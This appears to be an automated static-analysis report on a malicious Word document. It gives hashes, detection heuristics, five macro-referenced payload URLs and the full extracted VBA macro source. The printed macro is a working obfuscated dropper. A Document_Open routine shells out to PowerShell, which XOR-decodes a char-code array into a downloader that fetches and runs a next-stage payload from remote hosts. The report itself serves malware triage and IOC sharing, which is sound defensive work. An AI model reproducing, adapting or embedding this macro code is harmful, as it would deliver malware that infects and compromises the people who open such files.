Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 46611fba3e7dbbf3…

MALICIOUS

Office (OLE)

115.5 KB Created: 2018-06-14 17:18:00 Authoring application: Microsoft Office Word First seen: 2018-06-21
MD5: 182fe67598238658d14d4a7c078ce7c5 SHA-1: 46af2523bf778ca8cf53d474c776c646a72beb9a SHA-256: 46611fba3e7dbbf390d0d5fa7b3275d471eb347391935f7e7d77cdccb5811daa
172 Risk Score

Heuristics 7

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    CpndzI = rUZUD - VVKNO / 8331 / WERkCn - 223327908 + Hex(BmwnFF) * ZiDow - Round(92202)
ptUoFSuTKRr = mwLbaJlaQS + VBA.Shell(jlcrSGkIGp + Chr(rOAZznNmGs + vbKeyP + niKmPUCiThW) + "owers" + SJtXvUMX + HZWIoG + pWjILuNBtd + hUoPD + fVqUcOjbiV + klSFHXQAq, 6356 - 6356)
XjJsE = Sqr(44704)
  • Payload URL decoded from an encoded PowerShell loader (5 URLs) high OLE_VBA_ENCODED_PS_DROPPER_URL
    A VBA macro assembles (from literals scattered across helper functions) a WScript.Shell command that runs a PowerShell stage-2 loader whose download URL is hidden in a numeric char-code array — decoded at runtime by [char]($_ -bxor k) (or +k / -k) after splitting on obfuscated delimiters. The decoded hosts (often an @-separated fallback list dropped to %TEMP% and executed) are the next-stage payload URLs, never contiguous on disk; surfaced as IOCs. Self-validating: only a transform yielding a valid host URL is reported.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
Private Sub Document_open()
On Error Resume Next
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.icollc.net/xRZ1XIEvQ6/ Referenced by macro
    • http://www.antolin-davies.com/OYyWdYIBN/Referenced by macro
    • http://tech4bargain.com/3uhoMWC/Referenced by macro
    • http://www.clyule6.com/wp-content/PHs2HF5JRi/Referenced by macro
    • http://www.aeropic.nl/wE4AA1R/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17568 bytes
SHA-256: 8b15694e8cdd980631c9e4459727856e0fe3bffd59b0fe7d016e2f56e2eccf2f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
264 of 444 identifiers look randomly generated (e.g. 'mqIRrXppKFDzdN') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "mqIRrXppKFDzdN"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function ptUoFSuTKRr()
On Error Resume Next
vHEoT = Sqr(22150)
nVFqq = NnZKw
uriAWB = 17925 + ErNBB + (44244 * CDbl(ncBDz) - zUZGmH / CSng(38593) - ZiEjX / Hex(lHHra) + 11897 - 94316)
KXHBAu = Jujtp - fIJUiW / 55054 / VKdqdv - 223327908 + Hex(RBwoI) * PLzfWF - Round(27452)
pnvCf = Sqr(39494)
NIjQDZ = wkJwit
NiKWzw = 83278 + kFjGQz + (22340 * CDbl(HROiIB) - ZZWlTR / CSng(78330) - ZsazSU / Hex(GPGUXa) + 69677 - 95281)
jMhkz = NYawNH - pAsTH / 20512 / bniWpc - 223327908 + Hex(vjVmM) * hullk - Round(5279)
RLbEYa = Sqr(74943)
BiuaMd = TpubuU
kshLv = 40207 + RrFJB + (3680 * CDbl(vPHjEh) - stDJMs / CSng(87586) - ltrrj / Hex(BDaphN) + 68439 - 82420)
pnXszd = icWLG - SKSjt / 21587 / uXTNBE - 223327908 + Hex(wloVjw) * BDLEB - Round(50241)
QqtdU = Sqr(66198)
GErYk = wBJUiO
zSTJq = 90793 + DzoBiH + (17694 * CDbl(GGfrl) - oScpQ / CSng(51071) - wcTqRt / Hex(ijBNG) + 67108 - 39949)
CpndzI = rUZUD - VVKNO / 8331 / WERkCn - 223327908 + Hex(BmwnFF) * ZiDow - Round(92202)
ptUoFSuTKRr = mwLbaJlaQS + VBA.Shell(jlcrSGkIGp + Chr(rOAZznNmGs + vbKeyP + niKmPUCiThW) + "owers" + SJtXvUMX + HZWIoG + pWjILuNBtd + hUoPD + fVqUcOjbiV + klSFHXQAq, 6356 - 6356)
XjJsE = Sqr(44704)
shomfO = ufjPQA
zXCbJ = 57308 + FYmOwE + (91701 * CDbl(HYRIzi) - dwWZr / CSng(13596) - PXpEi / Hex(GAMnSj) + 74887 - 18004)
zHBsa = DEjmrw - PYuZT / 68908 / MiqQr - 223327908 + Hex(bbqPz) * jIZhD - Round(73163)
UtksCa = Sqr(853)
MzHDf = oAmwmk
UQvSR = 70680 + MScOT + (75788 * CDbl(OApqqn) - XKEaK / CSng(48269) - MpcDf / Hex(iTNGQS) + 71166 - 77481)
HvzFzG = sGLwzc - LnMGun / 67142 / YCidpL - 223327908 + Hex(SWcMtV) * hVlNW - Round(28127)
End Function
Private Sub Document_open()
On Error Resume Next
qiqobA = Sqr(93337)
GmoRV = wfwjNN
XvaUQf = 3742 + oVnjiD + (11961 * CDbl(UjQURR) - qLUdt / CSng(74397) - vzfojm / Hex(RzrMUR) + 32511 - 2439)
PFfkIw = IBOan - qTTwD / 68150 / Hwzwo - 223327908 + Hex(dwCzzv) * mYiGK - Round(16520)
OoLcNh = Sqr(40756)
pESDq = fzKWs
QXlTG = 64348 + jTDFEO + (59132 * CDbl(RSpNlu) - jDdwHb / CSng(95525) - njFbif / Hex(FYZOc) + 63849 - 73041)
Gchoi = JZUipP - wmzFQ / 25095 / nXSBz - 223327908 + Hex(OHwwj) * SWwzzr - Round(35445)
ptUoFSuTKRr
YvwYV = Sqr(29704)
Oztur = YPBMX
UDVjKf = 82439 + aBdVwt + (95157 * CDbl(AnCOw) - DodYKb / CSng(62067) - GkbmbO / Hex(OpRAp) + 79209 - 24023)
JIzXA = FlVPwb - ttMSiD / 72235 / kOIIqS - 223327908 + Hex(cMCKj) * aTmDOS - Round(17708)
XGVMJD = Sqr(18360)
wksNQ = ijfpSd
ZuqPJ = 29709 + JJMls + (7211 * CDbl(aZOUk) - vndQuZ / CSng(80180) - tjMsFc / Hex(ZwoED) + 16962 - 88618)
VhBTl = aUjZZ - cztma / 35451 / daPhT - 223327908 + Hex(AFKZN) * XkPrLE - Round(17564)
End Sub


Attribute VB_Name = "IWTUdjiKY"
Function SJtXvUMX()
On Error Resume Next
LEafrj = 38163 + uwfLGz + (47314 * CDbl(NnjEG) - OBEnR / CSng(94466) - MjdcT / Hex(ubdWm) + 31090 - 32161)
FmUYp = ZaEPWK - QBjnud / 83638 / RuoppA - 223327908 + Hex(VINzS) * arHuN - Round(9957)
bKUvlA = SVtTY
NpjfDz = Sqr(99980)
iFwqjCJNC = "HeLL  . ( $EnV:" + "COMs" + "peC[4,15,25]" + "-j" + "OIN'" + "')(" + "-JOin " + "( [cHAr[]] ( 32" + " , 74,92 , " + "110 , 73 , 6"
Xnrfi = 98543 + NFwBYr + (55292 * CDbl(JcsjYp) - zYujrD / CSng(47019) - PFcKh / Hex(AbLOQo) + 92913 - 41992)
bwSpoS = zIlokj - whvCJA / 62840 / IBldE - 223327908 + Hex(UUuuzQ) * frswhq - Round(23170)
CSWtG = znzsIV
UOWId = Sqr(45871)
CdIiRKdYD = "9 ,36 , 57," + "36 , 106,9" + "7 , 115 ,41,107" + ",102,110,97 "
IoRDK = 27272 + inqun + (30752 * CDbl(QpCDb) - UMcCa / CSng(77125) - CntoaZ / Hex(UqapoT) + 61986 - 63591)
YCsOww = OcWhI - tBUNSw / 50041 / MOIdn - 223327908 + Hex(ozCOcv) * VmhLwY - Round(60111)
fzLpX = hbGUX
oFXZE = Sqr(13336)
XIjrRwATcH = ",103 , " + "112, 36 " + ", 118" + ",101, " + "106 " + ",96 ,107,105,63" + " ,3" + "2,"
dLnkkK = 5275 + RZHEM + (93943 * CDbl(PnCTa) - CzwVFw / CSng(38339) - MsHWO / Hex(Jwwao) + 41121 - 14508)
HnfmaM = OfMiXF - AhzfOQ / 81623 / fFnIMm - 223327908 + Hex(tFScOl) * rcqzH - Round(65191)
NSmYp = nkJGF
nKhLsB = Sqr(46959)
LwVzhWSj = " 109 ,11" + "0, 66,77 ," + " 119 , 93, 36 " + ", 57 ,36,106," + " 97," + "115 , 41 , 107 " + ", 102 , 110, 97" + ", 103, 112,36 ,"
ZwSzE = 50816 + GQvqwf + (80688 * CDbl(oRJIh) - SCUGc / CSng(77943) - siUHFN / Hex(dYzCH) + 15597 - 40547)
WzwwD = wzscl - Nlajq / 35081 / rPTHB - 223327908 + Hex(jwNVz) * inUIWI - Round(14134)
bmkoFK = NNnHHf
pwJiJ = Sqr(85312)
LiFRUzi = " 87, " + "125 , 1" + "19,112,97" + " , 105, 42, 7" + "4, 97"
MlAIC = 80904 + YUKibv + (58871 * CDbl(TsdEa) - INKpOi / CSng(60553) - bMzHi / Hex(smMFjL) + 66092 - 80800)
GKojE = qToIS - sziUR / 86539 / jjXXO - 223327908 + Hex(SNKqF) * RqMGpS - Round(88779)
KhaEZ = BHjOO
zwJvO = Sqr(65135)
TbSRwD = ", 112,42 ,8" + "3," + "97, 102 ,71 ,10" + "4, 109,"
BhinZ = 67296 + KfdjVB + (21173 * CDbl(rtCXLt) - oGwVTU / CSng(21215) - MNkQof / Hex(CsLvJ) + 32739 - 30196)
qGQtc = EPRzlQ - kkWAT / 83969 / MQkTY - 223327908 + Hex(vdzCz) * ltuKX - Round(72875)
UwsRYt = zCQdrC
DsWRLW = Sqr(52351)
uvtAG = " 97 , 106,112, " + "63, 32 ,77" + ", 82" + " ,94 ," + "87,67, " + "83, 3" + "6 ,57 , 36,3" + "5 ,108, 11" + "2, " + "112 ,116, 62 "
SJtXvUMX = iFwqjCJNC + CdIiRKdYD + XIjrRwATcH + LwVzhWSj + LiFRUzi + TbSRwD + uvtAG
End Function
Function HZWIoG()
On Error Resume Next
RHaWzU = 8429 + aSOANf + (53692 * CDbl(ZwOXdV) - manZK / CSng(53630) - zlHsU / Hex(UoaQrU) + 26961 - 56848)
DUBvr = vKvtRF - dsVLq / 41606 / YzjJHn - 223327908 + Hex(RVFZw) * vinqYu - Round(61568)
NovdJf = NTIARr
JRUld = Sqr(66696)
jsiwfdiQS = ",43 ,43,115" + " , 115, 115 " + ",42, 109 ,10" + "3 ,107,1" + "04 , 104,1" + "03,42 , 106, 9" + "7,112 ,43,124," + "86 , 94 , 5" + "3 ,"
FosoER = 58787 + qTSSZv + (8603 * CDbl(mvpsIc) - FwikzZ / CSng(92658) - qpRczw / Hex(qOOaid) + 70856 - 81872)
dFmpZ = iPupcd - SEjCF / 51642 / izEUIv - 223327908 + Hex(mIZfXj) * wtLuQi - Round(67776)
PVzDII = RwJuHz
qMQWwS = Sqr(9937)
hkTSX = "92,7" + "7, 65 ," + "114 , 85, 50 ," + " 43, 6" + "8,108, 112 , 11" + "2 , 116, 62 " + ",43,43, 1" + "15,115" + " ,"
mjAShd = 74491 + HUJEtL + (38551 * CDbl(VHpsv) - NQMuV / CSng(41729) - YFmjJJ / Hex(tsNmv) + 82851 - 6885)
MDwfP = kGmIR - jPWYk / 3152 / ScuDz - 223327908 + Hex(TzlIa) * RhJsj - Round(64331)
koINa = HkUsr
fDUPE = Sqr(93991)
ShwFMXHu = " 115" + " ,42 , 10" + "1, 106, 112," + "107 , 1"
CimSA = 3494 + wVzzMC + (98821 * CDbl(ZWmqGH) - JpTZS / CSng(50476) - wcdqsO / Hex(XZjfB) + 96109 - 58493)
VodFBV = zajBwY - TWJkc / 5196 / DLFJWA - 223327908 + Hex(FwncE) * HpNmN - Round(64987)
uzImad = dUAIfk
pNbfw = Sqr(89817)
pBlNK = "04 , 1" + "09, 106,41 ,96" + " , 1" + "01, 11" + "4 ,109 ,97,119,"
RdXwiU = 93268 + cvZsFP + (59317 * CDbl(WXucX) - OGIRNi / CSng(26514) - sGMmpM / Hex(qiMdjj) + 1569 - 49876)
PJXORn = HRfvC - jSaST / 62172 / hwqONj - 223327908 + Hex(Qqoil) * fwdRz - Round(46514)
aIwzBF = VrRuVs
AXqju = Sqr(45048)
RQchOqFs = " 42 ,103 ,1" + "07 " + ", 105," + "43," + " 75," + "93,"
HZWIoG = jsiwfdiQS + hkTSX + ShwFMXHu + pBlNK + RQchOqFs
End Function
Function pWjILuNBtd()
On Error Resume Next
jtQSI = 641 + nwQdBJ + (63617 * CDbl(joIVud) - cmpdP / CSng(49135) - itQOX / Hex(lfKIzm) + 28804 - 47761)
CVkQQi = fkLQNX - mmuCD / 58027 / XIOtnD - 223327908 + Hex(CwHipE) * tmWUB - Round(63363)
VFMBk = GchwXQ
izaRSt = Sqr(86550)
HPlhAvXIB = " 12" + "5,83,9" + "6 ,93" + ",77 , 70" + " , 74, 43 ,68,"
iNWWda = 77845 + lElXSw + (86706 * CDbl(YhBzVK) - PiXhbN / CSng(54456) - obPjjQ / Hex(rasAbW) + 25790 - 75500)
UfGnG = MPJNww - PMjYp / 52699 / VjKCv - 223327908 + Hex(JHZiJ) * JwOAJ - Round(23285)
MawLQW = oWPpO
XUozin = Sqr(33866)
FpzkOH = "108,112 ,112 , " + "116,62, 43 , 43" + ", 112," + "97, 103 ,108,48" + " ,102 ,101, 118"
MzkUE = 84492 + jFpiDw + (75629 * CDbl(AMZME) - YkSBlF / CSng(57614) - zUFQo / Hex(wifFUE) + 95304 - 51018)
LoSnNS = SmDhF - ZnHqI / 42538 / Tszwwo - 223327908 + Hex(wRBquE) * tcWIkM - Round(23728)
hflRJQ = uHHFYs
mFUDnH = Sqr(91415)
nUwdH = " , 99 , 101, " + "10" + "9, " + "106 ,4" + "2, 1" + "03 , 107 ," + "105, 43 ,55,1" + "13, 108 ,107, 7"
ToVpY = 74640 + BkNmB + (63232 * CDbl(KliXJU) - LwjdOR / CSng(58214) - pKJpc / Hex(nATMZp) + 73371 - 93299)
bufHq = MKUswv - cMEEW / 70689 / LkiuO - 223327908 + Hex(CJVjW) * LDiuzS - Round(94007)
hBQVaN = MMflO
dTtiHb = Sqr(58501)
nYTwhVS = "3 , 83 ,71 ," + "43 ,68,1" + "08 , 112 " + ", 1" + "12, 1" + "16 , 62" + ", 43 , 43 , 11"
qPvqQl = 86630 + lCokVT + (69574 * CDbl(tRGmZY) - JfhEN / CSng(45617) - CjGlm / Hex(HriMZP) + 50387 - 9564)
iqLRIm = ijfJk - Iikho / 83968 / nuMKw - 223327908 + Hex(wLGjw) * uMzPaU - Round(75431)
HBEzp = mBHpd
TbVRn = Sqr(14147)
wOjUW = "5, 115" + " , 11" + "5,42 , 103 ,104" + " , 1" + "25 ,113,1" + "04 , 97 ,50," + " 4"
FCniBT = 10989 + zbwiYp + (77109 * CDbl(OKNBW) - rOSDI / CSng(95622) - VQwUpp / Hex(KlZBh) + 61585 - 62854)
jaaYjL = MzKHw - LAOjAi / 727 / lLUqpX - 223327908 + Hex(HVHhzu) * VtQFwl - Round(49010)
jvfuG = EEpqnc
jLhAQ = Sqr(87681)
YCJOicziUu = "2 , " + "103 ,107 ,105" + " , 43" + ",115,116,41" + " ,103 , 1" + "07 " + ",106 ,1" + "12,"
Giuns = 9629 + Dazjci + (40514 * CDbl(ujODJ) - uGmPw / CSng(19671) - HvFvo / Hex(mhLKs) + 39387 - 99968)
Fivlt = bIYwu - vfrnn / 46594 / ljWViJ - 223327908 + Hex(vUSjti) * CpbzDN - Round(50832)
qZjCHi = wAltwv
wlTfDb = Sqr(60436)
XLrOoKNYUjG = "97,10" + "6 , " + "112, 43 , 84" + " , 76 , " + "119,54 ,7" + "6, 66, 49, 78 " + ",86" + " ," + " 109,43,68, "
ViINcL = 31526 + qoDMM + (87189 * CDbl(QokKHi) - kZJNqd / CSng(51325) - rNpzjH / Hex(maCKz) + 24213 - 95439)
lPowj = OUnfD - pXOMiz / 3128 / IziUm - 223327908 + Hex(vdsAwv) * sDhsIj - Round(66498)
CmwZv = Sufsft
Njwcdr = Sqr(14660)
HYSwTbTzJ = "108" + ",112 ," + " 112, " + "116 ,62"
wMnkUL = 6990 + kcmjI + (24502 * CDbl(TjUaNT) - bbKLlb / CSng(10173) - GGQFm / Hex(QzXzfa) + 53784 - 10654)
SWAlM = IZbDcV - SDaQDj / 93849 / isVVqa - 223327908 + Hex(zUiTp) * zilvDX - Round(29162)
hWTJA = qVltj
kAoGWp = Sqr(32338)
qwCBYqFMYCp = ", 43,43 , 11" + "5 ,115 , " + "11" + "5,"
pWjILuNBtd = HPlhAvXIB + FpzkOH + nUwdH + nYTwhVS + wOjUW + YCJOicziUu + XLrOoKNYUjG + HYSwTbTzJ + qwCBYqFMYCp
End Function
Function hUoPD()
On Error Resume Next
qkdfP = 41485 + wbHUJf + (86962 * CDbl(UpVzM) - FiWVln / CSng(15355) - kiPNV / Hex(NEFjhX) + 32586 - 92095)
TtmlG = Kiirl - cFvJzH / 31473 / pSpQJh - 223327908 + Hex(ijcKk) * JvTjK - Round(14377)
DWzkD = zNqTF
CqEKzc = Sqr(45740)
trFBwTcZ = "42,101, 97,11" + "8,107 ,116" + " , 109 , 1" + "03, 42 , 106"
njBEV = 54062 + ofzGh + (2452 * CDbl(TJcZmz) - pnSJl / CSng(9350) - XklOU / Hex(ZduON) + 66530 - 66797)
mSVbq = zsiukX - RuMrM / 57130 / qPNLD - 223327908 + Hex(LajZM) * fMkSP - Round(75910)
uBzffE = wuvNq
PEtzi = Sqr(49531)
qvTQWSIQz = ",1" + "04, " + "43, 115 " + ", 65" + ",48, 69, 69," + " 53 , 86 ,43," + "35,42"
AUKXEJ = 45367 + hXJJi + (57454 * CDbl(wjczDi) - iGDtis / CSng(87546) - FrXaG / Hex(CMNFP) + 8917 - 95704)
ruwCB = ETLbff - SSmHX / 63890 / UOrndB - 223327908 + Hex(fBHjZU) * NzYYE - Round(40568)
ibkLUd = XrUrC
aBlzT = Sqr(47867)
jMRwm = ", " + "87, 116, " + "104" + ",109 , 112 " + ", 44 ,35 ," + "68,35, 45 " + ",63 " + ", 32,1" + "26,64 "
dCKYAO = 47293 + DsGLD + (9074 * CDbl(NjTMw) - LNDFQq / CSng(45574) - dHnrTk / Hex(OzDGZb) + 97946 - 72750)
iPRoH = kYAfa - STjUZz / 68514 / FYzNb - 223327908 + Hex(riJkl) * zNNDTH - Round(13114)
tCikYk = IPiblc
NhjnBv = Sqr(15565)
EORzEwzbXd = ", 112 , 73,7" + "0 , 108 , 36, " + "57" + ", 36"
rUFQE = 23825 + bCOQts + (72344 * CDbl(GjBRt) - zYACo / CSng(51990) - wkwVj / Hex(HtHnO) + 90033 - 46284)
nRKwI = uvFOP - WdRQvK / 41801 / MwtmWU - 223327908 + Hex(jEszIL) * KTnYb - Round(28468)
ShYwYA = tzLOB
QTHCf = Sqr(29426)
EPlBY = " , 3" + "2, 7" + "4 ," + "92 ," + " 110,73 " + ", 69 ,42 ,1" + "06 , 97 " + ",124 " + ", 11"
luoYY = 49453 + JNrNOG + (49271 * CDbl(TzdWj) - ROzUm / CSng(26016) - XhCfH / Hex(aLVuOz) + 76106 - 11081)
ZqIDT = rElMUl - ohGIwD / 95428 / OWvBR - 223327908 + Hex(IJudj) * fcowv - Round(13054)
zBYzJ = bzCMs
GoKsjm = Sqr(15722)
mJmjnW = "2, 44 , 53" + ", 40, 36 ,48" + ", 48 ,49," + "50 ,60 ,51 ," + "45, 63," + " 32,6" + "6," + " 110, " + "73, 10" + "7, 78,36, 57,"
hUoPD = trFBwTcZ + qvTQWSIQz + jMRwm + EORzEwzbXd + EPlBY + mJmjnW
End Function
Function fVqUcOjbiV()
On Error Resume Next
KwKTNC = 3729 + jvrin + (42039 * CDbl(LsHMs) - UNmjc / CSng(63037) - qBFJsw / Hex(hSVlt) + 9332 - 17667)
wXsKq = YkkVCj - phppQT / 87199 / VTnOa - 223327908 + Hex(Bfzih) * nJmAnO - Round(93655)
dpcnTU = RGEkk
ukEfwR = Sqr(11291)
tWDJEiwfw = " 3" + "6, 32 ,97, 10" + "6 ,114 ,62 ,112" + ",97,1" + "05" + ",116,36 , " + "47 , 36 ,35,"
qaEFw = 31139 + XEmnV + (91100 * CDbl(jvpBCW) - mUvllN / CSng(26399) - QHAjYz / Hex(hurwiW) + 62071 - 28190)
bNDGJU = CEYof - mWvwOu / 18568 / scGFK - 223327908 + Hex(Euprr) * VHLtc - Round(46712)
lBYCcM = COqhw
jhTYGZ = Sqr(78849)
bRFfOR = " 88,35,36 , " + "47, 36 ,3" + "2 ,1" + "26,64,112 ," + " 73, 7"
bjkzAz = 29502 + IOhzN + (32978 * CDbl(LBWqUc) - RiOWL / CSng(20406) - XPwMmt / Hex(awbZL) + 50262 - 76442)
DCKCT = FiinE - kzika / 44876 / kFuRI - 223327908 + Hex(UFOTB) * vuBLwC - Round(69658)
jvazri = uKXZsi
QuVhP = Sqr(97878)
CmSYmYoHjMU = "0 , 108, 36 ,47" + ",36, 35 ," + " 42,97,1" + "24,97, 35" + " ,63 ,98,107," + " 11" + "8, 97"
IOQIl = 3289 + zLrPcK + (18158 * CDbl(jnmiq) - zPrzfC / CSng(80274) - tjKHT / Hex(jlCKAk) + 52563 - 90441)
bDNJwY = FzKhS - EUqXl / 95366 / ciGVEm - 223327908 + Hex(dEEvzU) * iEGdiM - Round(84087)
GUNzlG = CMhJu
wUbzuT = Sqr(47787)
mjZjrszYcJS = " ,101, 103," + "10" + "8,44,32" + " , 115 ,69, 87 " + ", 75 ,117 , 3" + "6 , 109 ,106 ,"
twrEL = 60377 + BuOkzY + (42542 * CDbl(ktDkt) - hjbbT / CSng(99304) - TinbjT / Hex(HOYWhJ) + 7392 - 11607)
EluvMQ = crfEh - bIRFj / 18047 / VjDjT - 223327908 + Hex(USwZcu) * wiplX - Round(56711)
AatcS = zkaIWo
JftXj = Sqr(1083)
zHtwIjr = "36, 32," + " 77 " + ",82, 94 ,87 , " + "67, 8" + "3 , 45,127 ,112" + ", 118," + "12" + "5 ,127, " + "32"
fVqUcOjbiV = tWDJEiwfw + bRFfOR + CmSYmYoHjMU + mjZjrszYcJS + zHtwIjr
End Function
Function klSFHXQAq()
On Error Resume Next
KYiLck = 92673 + fRDKNR + (87569 * CDbl(fiDSW) - BBdwl / CSng(70695) - illUo / Hex(JHZusu) + 2790 - 30237)
FnGIkW = hfzLfz - SpZdjL / 10867 / KYVKoD - 223327908 + Hex(nMujAj) * OjCnas - Round(28853)
wvfBFW = jANoqZ
wvIYq = Sqr(65003)
woiiRzd = ",1" + "09 ,11" + "0, 6" + "6, 77,119 ,93,4" + "2 ," + " 64 ,107 ," + " 115,106, 10" + "4, 107,101, 96," + " 66, 109,104,9" + "7,"
maidzs = 74590 + vwzUb + (87054 * CDbl(wlNYRp) - rHXcES / CSng(76526) - XOUft / Hex(EwsWGR) + 49593 - 42106)
LsnjbG = oUdiZ - AvAzrp / 39802 / LXZVZ - 223327908 + Hex(zNzdc) * UInFs - Round(56566)
iVShjG = uGWcRd
LiqTKk = Sqr(29250)
zKSIY = " 44,32 , " + "115 ,6" + "9 , 87, 75, " + "117 , 42 ,80 ,1" + "07,87,"
rAUNNB = 90737 + aVzFQ + (31650 * CDbl(IuGOzw) - ZiiYd / CSng(1447) - XiLhN / Hex(ISsibu) + 94447 - 16723)
NEwvYa = fpYuKC - oYCnjq / 3571 / mFBKJt - 223327908 + Hex(szhnbR) * kREij - Round(25221)
Wilorw = KjqUSv
pmjfT = Sqr(51937)
wCDwoR = " 112 , 118,10" + "9 , 106" + " , 99,44 , 45,4" + "0 " + ",36,32, 66" + " ,110 ,73, 1"
RquOQs = 67387 + aMXaYh + (75886 * CDbl(iAJomj) - PDjsi / CSng(28526) - zChjp / Hex(XqRois) + 56384 - 75084)
bFwilf = hzAhU - Ussrt / 25510 / jVKuFS - 223327908 + Hex(YhZIV) * PbchHI - Round(84446)
DzmGaA = dsjku
fBTas = Sqr(19689)
HbSZrpED = "07, 78,45," + "63, 87, 112,1" + "01 " + ",118 ," + " 112,41 , " + "84,118 " + ",107 ,103 ,97" + ",119 ,11" + "9, 36 , 3"
FuEcSf = 73413 + ZsLZz + (87716 * CDbl(LkkVL) - jhjzuG / CSng(71454) - zbqcP / Hex(hdipM) + 88602 - 68467)
rwKGzY = UfYZB - cRVzkX / 67276 / FuIRQS - 223327908 + Hex(kOWFOb) * ifVPz - Round(38592)
jodKIY = mIcjfS
lwiYA = Sqr(43076)
rmNZcfS = "2,66 ,110 ,73 " + ", 107,78 , " + "63 , 102 ,118" + ", 97 , 101 ,11" + "1 ,63 , 1" + "21 "
mBBpj = 12230 + kQCTm + (98582 * CDbl(mpbUZ) - ZGdVY / CSng(14423) - cHdicb / Hex(Tdijj) + 83372 - 5142)
nJTDYq = YfRcap - nUqKnD / 16881 / vniMB - 223327908 + Hex(OCRwQ) * UTOZCW - Round(75857)
zRntI = Tdlncn
iPTGJ = Sqr(29079)
rhVkwVP = ", 103, " + "101 , 112 ,103" + ", " + "108 , 127,1" + "15,118 , 109, 1" + "12," + "97, 41,1" + "08 , 107, 119," + "112,36" + ",32, 91,42"
bOfUM = 77806 + KczdK + (89910 * CDbl(UFRIR) - DMjjR / CSng(97623) - cSaVb / Hex(VsEjF) + 81904 - 64563)
pLnFuV = iwCNi - rCdCEZ / 30061 / WMRjl - 223327908 + Hex(qQJLj) * BdPhW - Round(20494)
wPEQN = vvcvWL
uWPaGS = Sqr(74824)
wjVWjpj = ", 65,124,1" + "03,97" + ",116,112 " + ", 109 ," + " 107, 106" + " ,42, " + "73 ,97, 119, 11" + "9, 101 ,99 , " + "97,63," + " 121 , "
XLTwWV = 18627 + ZRmrh + (28022 * CDbl(OnvfuZ) - tjJokl / CSng(12447) - ikJmw / Hex(JQLBAo) + 8071 - 8250)
tIUkRk = hlYFCm - iuSnE / 43685 / dtkipi - 223327908 + Hex(szORqp) * BSLYZb - Round(57111)
dWnCd = zCTlYC
KvkWo = Sqr(62314)
FGHFRK = "121)|% {" + " [" + "cHAr] ( $_-" + "BxoR" + Chr(34) + "0x0"
OjCcB = 81546 + mJnLzL + (64486 * CDbl(HPivGN) - BjXlW / CSng(84471) - jhjjbm / Hex(IvYkod) + 35888 - 91962)
zBwiW = QTzFd - fOjvu / 97066 / GKSkw - 223327908 + Hex(qEwcT) * NbSka - Round(76520)
cjBRz = ASikJF
TmuYLT = Sqr(11311)
JwqvMPt = "4" + Chr(34) + " )" + "}) )"
klSFHXQAq = woiiRzd + zKSIY + wCDwoR + HbSZrpED + rmNZcfS + rhVkwVP + wjVWjpj + FGHFRK + JwqvMPt
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.